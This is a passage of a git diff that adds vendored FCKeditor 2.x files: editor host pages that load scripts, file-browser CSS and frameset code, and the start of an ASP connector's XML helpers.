+                       eInnerElement.style.height = oCell.scrollHeight - 2 ;
+               }
+       }
+       window.onresize = Window_OnResize ;
+}
+
+       </script>
+</head>
+<body>
+       <table width="100%" cellpadding="0" cellspacing="0" style="height: 100%; table-layout: fixed">
+               <tr id="xToolbarRow" style="display: none">
+                       <td id="xToolbarSpace" style="overflow: hidden">
+                               <table width="100%" cellpadding="0" cellspacing="0">
+                                       <tr id="xCollapsed" style="display: none">
+                                               <td id="xExpandHandle" class="TB_Expand" colspan="3">
+                                                       <img class="TB_ExpandImg" alt="" src="images/spacer.gif" width="8" height="4" /></td>
+                                       </tr>
+                                       <tr id="xExpanded" style="display: none">
+                                               <td id="xTBLeftBorder" class="TB_SideBorder" style="width: 1px; display: none;"></td>
+                                               <td id="xCollapseHandle" style="display: none" class="TB_Collapse" valign="bottom">
+                                                       <img class="TB_CollapseImg" alt="" src="images/spacer.gif" width="8" height="4" /></td>
+                                               <td id="xToolbar" class="TB_ToolbarSet"></td>
+                                               <td class="TB_SideBorder" style="width: 1px"></td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+               <tr>
+                       <td id="xEditingArea" valign="top" style="height: 100%"></td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/fckeditor.original.html b/fckeditor/editor/fckeditor.original.html
new file mode 100755 (executable)
index 0000000..4628eb4
--- /dev/null
@@ -0,0 +1,322 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor.original.html
+ *     Main page that holds the editor.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor</title>
+       <meta name="robots" content="noindex, nofollow" />
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <!-- @Packager.RemoveLine
+       <meta http-equiv="Cache-Control" content="public" />
+       @Packager.RemoveLine -->
+       <script type="text/javascript">
+
+// Instead of loading scripts and CSSs using inline tags, all scripts are
+// loaded by code. In this way we can guarantee the correct processing order,
+// otherwise external scripts and inline scripts could be executed in an
+// unwanted order (IE).
+
+function LoadScript( url )
+{
+       document.write( '<script type="text/javascript" src="' + url + '" onerror="alert(\'Error loading \' + this.src);"><\/script>' ) ;
+}
+
+function LoadCss( url )
+{
+       document.write( '<link href="' + url + '" type="text/css" rel="stylesheet" onerror="alert(\'Error loading \' + this.src);" />' ) ;
+}
+
+// Main editor scripts.
+var sSuffix = /msie/.test( navigator.userAgent.toLowerCase() ) ? 'ie' : 'gecko' ;
+
+/* @Packager.RemoveLine
+LoadScript( 'js/fckeditorcode_' + sSuffix + '.js' ) ;
+@Packager.RemoveLine */
+// @Packager.Remove.Start
+
+LoadScript( '_source/fckconstants.js' ) ;
+LoadScript( '_source/fckjscoreextensions.js' ) ;
+
+if ( sSuffix == 'ie' )
+       LoadScript( '_source/classes/fckiecleanup.js' ) ;
+
+LoadScript( '_source/internals/fckbrowserinfo.js' ) ;
+LoadScript( '_source/internals/fckurlparams.js' ) ;
+LoadScript( '_source/classes/fckevents.js' ) ;
+LoadScript( '_source/internals/fck.js' ) ;
+LoadScript( '_source/internals/fck_' + sSuffix + '.js' ) ;
+LoadScript( '_source/internals/fckconfig.js' ) ;
+
+LoadScript( '_source/internals/fckdebug.js' ) ;
+LoadScript( '_source/internals/fckdomtools.js' ) ;
+LoadScript( '_source/internals/fcktools.js' ) ;
+LoadScript( '_source/internals/fcktools_' + sSuffix + '.js' ) ;
+LoadScript( '_source/fckeditorapi.js' ) ;
+LoadScript( '_source/classes/fckimagepreloader.js' ) ;
+LoadScript( '_source/internals/fckregexlib.js' ) ;
+LoadScript( '_source/internals/fcklanguagemanager.js' ) ;
+LoadScript( '_source/internals/fckxhtmlentities.js' ) ;
+LoadScript( '_source/internals/fckxhtml.js' ) ;
+LoadScript( '_source/internals/fckxhtml_' + sSuffix + '.js' ) ;
+LoadScript( '_source/internals/fckcodeformatter.js' ) ;
+LoadScript( '_source/internals/fckundo_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckeditingarea.js' ) ;
+LoadScript( '_source/classes/fckkeystrokehandler.js' ) ;
+
+LoadScript( '_source/internals/fcklisthandler.js' ) ;
+LoadScript( '_source/classes/fckelementpath.js' ) ;
+LoadScript( '_source/classes/fckdomrange.js' ) ;
+LoadScript( '_source/classes/fckdocumentfragment_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckw3crange.js' ) ;
+LoadScript( '_source/classes/fckdomrange_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckenterkey.js' ) ;
+
+LoadScript( '_source/internals/fckdocumentprocessor.js' ) ;
+LoadScript( '_source/internals/fckselection.js' ) ;
+LoadScript( '_source/internals/fckselection_' + sSuffix + '.js' ) ;
+
+LoadScript( '_source/internals/fcktablehandler.js' ) ;
+LoadScript( '_source/internals/fcktablehandler_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckxml_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckstyledef.js' ) ;
+LoadScript( '_source/classes/fckstyledef_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckstylesloader.js' ) ;
+
+LoadScript( '_source/commandclasses/fcknamedcommand.js' ) ;
+LoadScript( '_source/commandclasses/fck_othercommands.js' ) ;
+LoadScript( '_source/commandclasses/fckspellcheckcommand_' + sSuffix + '.js' ) ;
+LoadScript( '_source/commandclasses/fcktextcolorcommand.js' ) ;
+LoadScript( '_source/commandclasses/fckpasteplaintextcommand.js' ) ;
+LoadScript( '_source/commandclasses/fckpastewordcommand.js' ) ;
+LoadScript( '_source/commandclasses/fcktablecommand.js' ) ;
+LoadScript( '_source/commandclasses/fckstylecommand.js' ) ;
+LoadScript( '_source/commandclasses/fckfitwindow.js' ) ;
+LoadScript( '_source/internals/fckcommands.js' ) ;
+
+LoadScript( '_source/classes/fckpanel.js' ) ;
+LoadScript( '_source/classes/fckicon.js' ) ;
+LoadScript( '_source/classes/fcktoolbarbuttonui.js' ) ;
+LoadScript( '_source/classes/fcktoolbarbutton.js' ) ;
+LoadScript( '_source/classes/fckspecialcombo.js' ) ;
+LoadScript( '_source/classes/fcktoolbarspecialcombo.js' ) ;
+LoadScript( '_source/classes/fcktoolbarfontscombo.js' ) ;
+LoadScript( '_source/classes/fcktoolbarfontsizecombo.js' ) ;
+LoadScript( '_source/classes/fcktoolbarfontformatcombo.js' ) ;
+LoadScript( '_source/classes/fcktoolbarstylecombo.js' ) ;
+LoadScript( '_source/classes/fcktoolbarpanelbutton.js' ) ;
+LoadScript( '_source/internals/fcktoolbaritems.js' ) ;
+LoadScript( '_source/classes/fcktoolbar.js' ) ;
+LoadScript( '_source/classes/fcktoolbarbreak_' + sSuffix + '.js' ) ;
+LoadScript( '_source/internals/fcktoolbarset.js' ) ;
+LoadScript( '_source/internals/fckdialog.js' ) ;
+LoadScript( '_source/internals/fckdialog_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckmenuitem.js' ) ;
+LoadScript( '_source/classes/fckmenublock.js' ) ;
+LoadScript( '_source/classes/fckmenublockpanel.js' ) ;
+LoadScript( '_source/classes/fckcontextmenu.js' ) ;
+LoadScript( '_source/internals/fck_contextmenu.js' ) ;
+LoadScript( '_source/classes/fckplugin.js' ) ;
+LoadScript( '_source/internals/fckplugins.js' ) ;
+
+// @Packager.Remove.End
+
+// Base configuration file.
+LoadScript( '../fckconfig.js' ) ;
+
+       </script>
+       <script type="text/javascript">
+
+if ( FCKBrowserInfo.IsIE )
+{
+       // Remove IE mouse flickering.
+       try
+       {
+               document.execCommand( 'BackgroundImageCache', false, true ) ;
+       }
+       catch (e) 
+       {
+               // We have been reported about loading problems caused by the above
+               // line. For safety, let's just ignore errors.
+       }
+
+       // Create the default cleanup object used by the editor.
+       FCK.IECleanup = new FCKIECleanup( window ) ;
+       FCK.IECleanup.AddItem( FCKTempBin, FCKTempBin.Reset ) ;
+       FCK.IECleanup.AddItem( FCK, FCK_Cleanup ) ;
+}
+
+// The config hidden field is processed immediately, because
+// CustomConfigurationsPath may be set in the page.
+FCKConfig.ProcessHiddenField() ;
+
+// Load the custom configurations file (if defined).
+if ( FCKConfig.CustomConfigurationsPath.length > 0 )
+       LoadScript( FCKConfig.CustomConfigurationsPath ) ;
+
+       </script>
+       <script type="text/javascript">
+
+// Load configurations defined at page level.
+FCKConfig_LoadPageConfig() ;
+
+FCKConfig_PreProcess() ;
+
+// Load the active skin CSS.
+LoadCss( FCKConfig.SkinPath + 'fck_editor.css' ) ;
+
+// Load the language file.
+FCKLanguageManager.Initialize() ;
+LoadScript( 'lang/' + FCKLanguageManager.ActiveLanguage.Code + '.js' ) ;
+
+       </script>
+       <script type="text/javascript">
+
+// Initialize the editing area context menu.
+FCK_ContextMenu_Init() ;
+
+FCKPlugins.Load() ;
+
+       </script>
+       <script type="text/javascript">
+       
+// Set the editor interface direction.
+window.document.dir = FCKLang.Dir ;
+
+// Activate pasting operations.
+if ( FCKConfig.ForcePasteAsPlainText || FCKConfig.AutoDetectPasteFromWord )
+       FCK.Events.AttachEvent( 'OnPaste', FCK.Paste ) ;
+
+       </script>
+       <script type="text/javascript">
+
+window.onload = function()
+{
+       InitializeAPI() ;
+
+       if ( FCKBrowserInfo.IsIE )
+               FCK_PreloadImages() ;
+       else
+               LoadToolbarSetup() ;
+}
+
+function LoadToolbarSetup()
+{
+       FCKeditorAPI._FunctionQueue.Add( LoadToolbar ) ;
+}
+
+function LoadToolbar()
+{
+       var oToolbarSet = FCK.ToolbarSet = FCKToolbarSet_Create() ;
+       
+       if ( oToolbarSet.IsLoaded )
+               StartEditor() ;
+       else
+       {
+               oToolbarSet.OnLoad = StartEditor ;
+               oToolbarSet.Load( FCKURLParams['Toolbar'] || 'Default' ) ;
+       }
+}
+
+function StartEditor()
+{
+       // Remove the onload listener.
+       FCK.ToolbarSet.OnLoad = null ;
+
+       FCKeditorAPI._FunctionQueue.Remove( LoadToolbar ) ;
+
+       FCK.Events.AttachEvent( 'OnStatusChange', WaitForActive ) ;
+
+       // Start the editor.
+       FCK.StartEditor() ;
+}
+
+function WaitForActive( editorInstance, newStatus )
+{
+       if ( newStatus == FCK_STATUS_ACTIVE )
+       {
+               if ( FCKBrowserInfo.IsGecko )
+                       FCKTools.RunFunction( window.onresize ) ;
+
+               _AttachFormSubmitToAPI() ;
+
+               FCK.SetStatus( FCK_STATUS_COMPLETE ) ;
+
+               // Call the special "FCKeditor_OnComplete" function that should be present in 
+               // the HTML page where the editor is located.
+               if ( typeof( window.parent.FCKeditor_OnComplete ) == 'function' )
+                       window.parent.FCKeditor_OnComplete( FCK ) ;     
+       }
+}
+
+// Gecko browsers doens't calculate well that IFRAME size so we must
+// recalculate it every time the window size changes.
+if ( FCKBrowserInfo.IsGecko )
+{
+       function Window_OnResize()
+       {
+               if ( FCKBrowserInfo.IsOpera )
+                       return ;
+
+               var oCell = document.getElementById( 'xEditingArea' ) ;
+
+               var eInnerElement = oCell.firstChild ;
+               if ( eInnerElement )
+               {
+                       eInnerElement.style.height = 0 ;
+                       eInnerElement.style.height = oCell.scrollHeight - 2 ;
+               }
+       }
+       window.onresize = Window_OnResize ;
+}
+
+       </script>
+</head>
+<body>
+       <table width="100%" cellpadding="0" cellspacing="0" style="height: 100%; table-layout: fixed">
+               <tr id="xToolbarRow" style="display: none">
+                       <td id="xToolbarSpace" style="overflow: hidden">
+                               <table width="100%" cellpadding="0" cellspacing="0">
+                                       <tr id="xCollapsed" style="display: none">
+                                               <td id="xExpandHandle" class="TB_Expand" colspan="3">
+                                                       <img class="TB_ExpandImg" alt="" src="images/spacer.gif" width="8" height="4" /></td>
+                                       </tr>
+                                       <tr id="xExpanded" style="display: none">
+                                               <td id="xTBLeftBorder" class="TB_SideBorder" style="width: 1px; display: none;"></td>
+                                               <td id="xCollapseHandle" style="display: none" class="TB_Collapse" valign="bottom">
+                                                       <img class="TB_CollapseImg" alt="" src="images/spacer.gif" width="8" height="4" /></td>
+                                               <td id="xToolbar" class="TB_ToolbarSet"></td>
+                                               <td class="TB_SideBorder" style="width: 1px"></td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+               <tr>
+                       <td id="xEditingArea" valign="top" style="height: 100%"></td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/fckeditor2.html b/fckeditor/editor/fckeditor2.html
new file mode 100644 (file)
index 0000000..e985b99
--- /dev/null
@@ -0,0 +1,231 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor.html
+ *     Main page that holds the editor.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor</title>
+       <meta name="robots" content="noindex, nofollow" />
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta http-equiv="Cache-Control" content="public" />
+       <script type="text/javascript">
+
+// Instead of loading scripts and CSSs using inline tags, all scripts are
+// loaded by code. In this way we can guarantee the correct processing order,
+// otherwise external scripts and inline scripts could be executed in an
+// unwanted order (IE).
+
+function LoadScript( url )
+{
+       document.write( '<script type="text/javascript" src="' + url + '" onerror="alert(\'Error loading \' + this.src);"><\/script>' ) ;
+}
+
+function LoadCss( url )
+{
+       document.write( '<link href="' + url + '" type="text/css" rel="stylesheet" onerror="alert(\'Error loading \' + this.src);" />' ) ;
+}
+
+// Main editor scripts.
+var sSuffix = /msie/.test( navigator.userAgent.toLowerCase() ) ? 'ie' : 'gecko' ;
+
+LoadScript( 'js/fckeditorcode_' + sSuffix + '.js' ) ;
+
+// Base configuration file.
+LoadScript( '../fckconfig2.js' ) ;
+
+       </script>
+       <script type="text/javascript">
+
+if ( FCKBrowserInfo.IsIE )
+{
+       // Remove IE mouse flickering.
+       try
+       {
+               document.execCommand( 'BackgroundImageCache', false, true ) ;
+       }
+       catch (e) 
+       {
+               // We have been reported about loading problems caused by the above
+               // line. For safety, let's just ignore errors.
+       }
+
+       // Create the default cleanup object used by the editor.
+       FCK.IECleanup = new FCKIECleanup( window ) ;
+       FCK.IECleanup.AddItem( FCKTempBin, FCKTempBin.Reset ) ;
+       FCK.IECleanup.AddItem( FCK, FCK_Cleanup ) ;
+}
+
+// The config hidden field is processed immediately, because
+// CustomConfigurationsPath may be set in the page.
+FCKConfig.ProcessHiddenField() ;
+
+// Load the custom configurations file (if defined).
+if ( FCKConfig.CustomConfigurationsPath.length > 0 )
+       LoadScript( FCKConfig.CustomConfigurationsPath ) ;
+
+       </script>
+       <script type="text/javascript">
+
+// Load configurations defined at page level.
+FCKConfig_LoadPageConfig() ;
+
+FCKConfig_PreProcess() ;
+
+// Load the active skin CSS.
+LoadCss( FCKConfig.SkinPath + 'fck_editor.css' ) ;
+
+// Load the language file.
+FCKLanguageManager.Initialize() ;
+LoadScript( 'lang/' + FCKLanguageManager.ActiveLanguage.Code + '.js' ) ;
+
+       </script>
+       <script type="text/javascript">
+
+// Initialize the editing area context menu.
+FCK_ContextMenu_Init() ;
+
+FCKPlugins.Load() ;
+
+       </script>
+       <script type="text/javascript">
+       
+// Set the editor interface direction.
+window.document.dir = FCKLang.Dir ;
+
+// Activate pasting operations.
+if ( FCKConfig.ForcePasteAsPlainText || FCKConfig.AutoDetectPasteFromWord )
+       FCK.Events.AttachEvent( 'OnPaste', FCK.Paste ) ;
+
+       </script>
+       <script type="text/javascript">
+
+window.onload = function()
+{
+       InitializeAPI() ;
+
+       if ( FCKBrowserInfo.IsIE )
+               FCK_PreloadImages() ;
+       else
+               LoadToolbarSetup() ;
+}
+
+function LoadToolbarSetup()
+{
+       FCKeditorAPI._FunctionQueue.Add( LoadToolbar ) ;
+}
+
+function LoadToolbar()
+{
+       var oToolbarSet = FCK.ToolbarSet = FCKToolbarSet_Create() ;
+       
+       if ( oToolbarSet.IsLoaded )
+               StartEditor() ;
+       else
+       {
+               oToolbarSet.OnLoad = StartEditor ;
+               oToolbarSet.Load( FCKURLParams['Toolbar'] || 'Default' ) ;
+       }
+}
+
+function StartEditor()
+{
+       // Remove the onload listener.
+       FCK.ToolbarSet.OnLoad = null ;
+
+       FCKeditorAPI._FunctionQueue.Remove( LoadToolbar ) ;
+
+       FCK.Events.AttachEvent( 'OnStatusChange', WaitForActive ) ;
+
+       // Start the editor.
+       FCK.StartEditor() ;
+}
+
+function WaitForActive( editorInstance, newStatus )
+{
+       if ( newStatus == FCK_STATUS_ACTIVE )
+       {
+               if ( FCKBrowserInfo.IsGecko )
+                       FCKTools.RunFunction( window.onresize ) ;
+
+               _AttachFormSubmitToAPI() ;
+
+               FCK.SetStatus( FCK_STATUS_COMPLETE ) ;
+
+               // Call the special "FCKeditor_OnComplete" function that should be present in 
+               // the HTML page where the editor is located.
+               if ( typeof( window.parent.FCKeditor_OnComplete ) == 'function' )
+                       window.parent.FCKeditor_OnComplete( FCK ) ;     
+       }
+}
+
+// Gecko browsers doens't calculate well that IFRAME size so we must
+// recalculate it every time the window size changes.
+if ( FCKBrowserInfo.IsGecko )
+{
+       function Window_OnResize()
+       {
+               if ( FCKBrowserInfo.IsOpera )
+                       return ;
+
+               var oCell = document.getElementById( 'xEditingArea' ) ;
+
+               var eInnerElement = oCell.firstChild ;
+               if ( eInnerElement )
+               {
+                       eInnerElement.style.height = 0 ;
+                       eInnerElement.style.height = oCell.scrollHeight - 2 ;
+               }
+       }
+       window.onresize = Window_OnResize ;
+}
+
+       </script>
+</head>
+<body>
+       <table width="100%" cellpadding="0" cellspacing="0" style="height: 100%; table-layout: fixed">
+               <tr id="xToolbarRow" style="display: none">
+                       <td id="xToolbarSpace" style="overflow: hidden">
+                               <table width="100%" cellpadding="0" cellspacing="0">
+                                       <tr id="xCollapsed" style="display: none">
+                                               <td id="xExpandHandle" class="TB_Expand" colspan="3">
+                                                       <img class="TB_ExpandImg" alt="" src="images/spacer.gif" width="8" height="4" /></td>
+                                       </tr>
+                                       <tr id="xExpanded" style="display: none">
+                                               <td id="xTBLeftBorder" class="TB_SideBorder" style="width: 1px; display: none;"></td>
+                                               <td id="xCollapseHandle" style="display: none" class="TB_Collapse" valign="bottom">
+                                                       <img class="TB_CollapseImg" alt="" src="images/spacer.gif" width="8" height="4" /></td>
+                                               <td id="xToolbar" class="TB_ToolbarSet"></td>
+                                               <td class="TB_SideBorder" style="width: 1px"></td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+               <tr>
+                       <td id="xEditingArea" valign="top" style="height: 100%"></td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/browser.css b/fckeditor/editor/filemanager/browser/default/browser.css
new file mode 100755 (executable)
index 0000000..3e7ac06
--- /dev/null
@@ -0,0 +1,92 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: browser.css
+ *     CSS styles used by all pages that compose the File Browser.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+body
+{
+       background-color: #f1f1e3;
+}
+
+form
+{
+       margin: 0px 0px 0px 0px ;
+       padding: 0px 0px 0px 0px ;
+}
+
+.Frame
+{
+       background-color: #f1f1e3;
+       border-color: #f1f1e3;
+       border-right: thin inset;
+       border-top: thin inset;
+       border-left: thin inset;
+       border-bottom: thin inset;
+}
+
+body.FileArea
+{
+
+       background-color: #ffffff;
+}
+
+body, td, input, select
+{
+       font-size: 11px;
+       font-family: 'Microsoft Sans Serif' , Arial, Helvetica, Verdana;
+}
+
+.ActualFolder
+{
+       font-weight: bold;
+       font-size: 14px;
+}
+
+.PopupButtons
+{
+       border-top: #d5d59d 1px solid;
+       background-color: #e3e3c7;
+       padding: 7px 10px 7px 10px;
+}
+
+.Button, button
+{
+       border-right: #737357 1px solid;
+       border-top: #737357 1px solid;
+       border-left: #737357 1px solid;
+       color: #3b3b1f;
+       border-bottom: #737357 1px solid;
+       background-color: #c7c78f;
+}
+
+.FolderListCurrentFolder img
+{
+       background-image: url(images/FolderOpened.gif);
+}
+
+.FolderListFolder img
+{
+       background-image: url(images/Folder.gif);
+}
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/browser.html b/fckeditor/editor/filemanager/browser/default/browser.html
new file mode 100755 (executable)
index 0000000..d607613
--- /dev/null
@@ -0,0 +1,158 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: browser.html
+ *     This page compose the File Browser dialog frameset.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <title>FCKeditor - Resources Browser</title>
+               <link href="browser.css" type="text/css" rel="stylesheet">
+               <script type="text/javascript" src="js/fckxml.js"></script>
+               <script language="javascript">
+
+function GetUrlParam( paramName )
+{
+       var oRegex = new RegExp( '[\?&]' + paramName + '=([^&]+)', 'i' ) ;
+       var oMatch = oRegex.exec( window.top.location.search ) ;
+       
+       if ( oMatch && oMatch.length > 1 )
+               return decodeURIComponent( oMatch[1] ) ;
+       else
+               return '' ;
+}
+
+var oConnector = new Object() ;
+oConnector.CurrentFolder       = '/' ;
+
+var sConnUrl = GetUrlParam( 'Connector' ) ;
+
+// Gecko has some problems when using relative URLs (not starting with slash).
+if ( sConnUrl.substr(0,1) != '/' && sConnUrl.indexOf( '://' ) < 0 )
+       sConnUrl = window.location.href.replace( /browser.html.*$/, '' ) + sConnUrl ;
+
+oConnector.ConnectorUrl = sConnUrl + ( sConnUrl.indexOf('?') != -1 ? '&' : '?' ) ;
+
+var sServerPath = GetUrlParam( 'ServerPath' ) ;
+if ( sServerPath.length > 0 )
+       oConnector.ConnectorUrl += 'ServerPath=' + encodeURIComponent( sServerPath ) + '&' ;
+
+oConnector.ResourceType                = GetUrlParam( 'Type' ) ;
+oConnector.ShowAllTypes                = ( oConnector.ResourceType.length == 0 ) ;
+
+if ( oConnector.ShowAllTypes )
+       oConnector.ResourceType = 'File' ;
+
+oConnector.SendCommand = function( command, params, callBackFunction )
+{
+       var sUrl = this.ConnectorUrl + 'Command=' + command ;
+       sUrl += '&Type=' + this.ResourceType ;
+       sUrl += '&CurrentFolder=' + encodeURIComponent( this.CurrentFolder ) ;
+       
+       if ( params ) sUrl += '&' + params ;
+
+       var oXML = new FCKXml() ;
+       
+       if ( callBackFunction )
+               oXML.LoadUrl( sUrl, callBackFunction ) ;        // Asynchronous load.
+       else
+               return oXML.LoadUrl( sUrl ) ;
+
+       return null ;
+}
+
+oConnector.CheckError = function( responseXml )
+{
+       var iErrorNumber = 0 ;
+       var oErrorNode = responseXml.SelectSingleNode( 'Connector/Error' ) ;
+       
+       if ( oErrorNode )
+       {
+               iErrorNumber = parseInt( oErrorNode.attributes.getNamedItem('number').value, 10 ) ;
+               
+               switch ( iErrorNumber )
+               {
+                       case 0 :
+                               break ;
+                       case 1 :        // Custom error. Message placed in the "text" attribute.
+                               alert( oErrorNode.attributes.getNamedItem('text').value ) ;
+                               break ;
+                       case 101 :
+                               alert( 'Folder already exists' ) ;
+                               break ;
+                       case 102 :
+                               alert( 'Invalid folder name' ) ;
+                               break ;
+                       case 103 :
+                               alert( 'You have no permissions to create the folder' ) ;
+                               break ;
+                       case 110 :
+                               alert( 'Unknown error creating folder' ) ;
+                               break ;
+                       default :
+                               alert( 'Error on your request. Error number: ' + iErrorNumber ) ;
+                               break ;
+               }
+       }
+       return iErrorNumber ;
+}
+
+var oIcons = new Object() ;
+
+oIcons.AvailableIconsArray = [ 
+       'ai','avi','bmp','cs','dll','doc','exe','fla','gif','htm','html','jpg','js',
+       'mdb','mp3','pdf','ppt','rdp','swf','swt','txt','vsd','xls','xml','zip' ] ;
+       
+oIcons.AvailableIcons = new Object() ;
+
+for ( var i = 0 ; i < oIcons.AvailableIconsArray.length ; i++ )
+       oIcons.AvailableIcons[ oIcons.AvailableIconsArray[i] ] = true ;
+
+oIcons.GetIcon = function( fileName )
+{
+       var sExtension = fileName.substr( fileName.lastIndexOf('.') + 1 ).toLowerCase() ;
+
+       if ( this.AvailableIcons[ sExtension ] == true )
+               return sExtension ;
+       else
+               return 'default.icon' ;
+}
+               </script>
+       </head>
+       <frameset cols="150,*" class="Frame" framespacing="3" bordercolor="#f1f1e3" frameborder="1">
+               <frameset rows="50,*" framespacing="0">
+                       <frame src="frmresourcetype.html" scrolling="no" frameborder="0">
+                       <frame name="frmFolders" src="frmfolders.html" scrolling="auto" frameborder="1">
+               </frameset>
+               <frameset rows="50,*,50" framespacing="0">
+                       <frame name="frmActualFolder" src="frmactualfolder.html" scrolling="no" frameborder="0">
+                       <frame name="frmResourcesList" src="frmresourceslist.html" scrolling="auto" frameborder="1">
+                       <frameset cols="150,*,0" framespacing="0" frameborder="0">
+                               <frame name="frmCreateFolder" src="frmcreatefolder.html" scrolling="no" frameborder="0">
+                               <frame name="frmUpload" src="frmupload.html" scrolling="no" frameborder="0">
+                               <frame name="frmUploadWorker" src="javascript:void(0)" scrolling="no" frameborder="0">
+                       </frameset>
+               </frameset>
+       </frameset>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/basexml.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/basexml.asp
new file mode 100755 (executable)
index 0000000..8160bd8
--- /dev/null
@@ -0,0 +1,66 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: basexml.asp
+ *     This file include the functions that create the base XML output.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<%
+
+Sub SetXmlHeaders()
+       ' Cleans the response buffer.
+       Response.Clear()
+
+       ' Prevent the browser from caching the result.
+       Response.CacheControl = "no-cache"
+
+       ' Set the response format.
+       Response.CharSet                = "UTF-8"
+       Response.ContentType    = "text/xml"
+End Sub
+
+Sub CreateXmlHeader( command, resourceType, currentFolder )
+       ' Create the XML document header.
+       Response.Write "<?xml version=""1.0"" encoding=""utf-8"" ?>"
+
+       ' Create the main "Connector" node.
+       Response.Write "<Connector command=""" & command & """ resourceType=""" & resourceType & """>"
+       
+       ' Add the current folder node.
+       Response.Write "<CurrentFolder path=""" & ConvertToXmlAttribute( currentFolder ) & """ url=""" & ConvertToXmlAttribute( GetUrlFromPath( resourceType, currentFolder) ) & """ />"
+End Sub
+
+Sub CreateXmlFooter()
+       Response.Write "</Connector>"
+End Sub
+
+Sub SendError( number, text )
+       SetXmlHeaders
+       
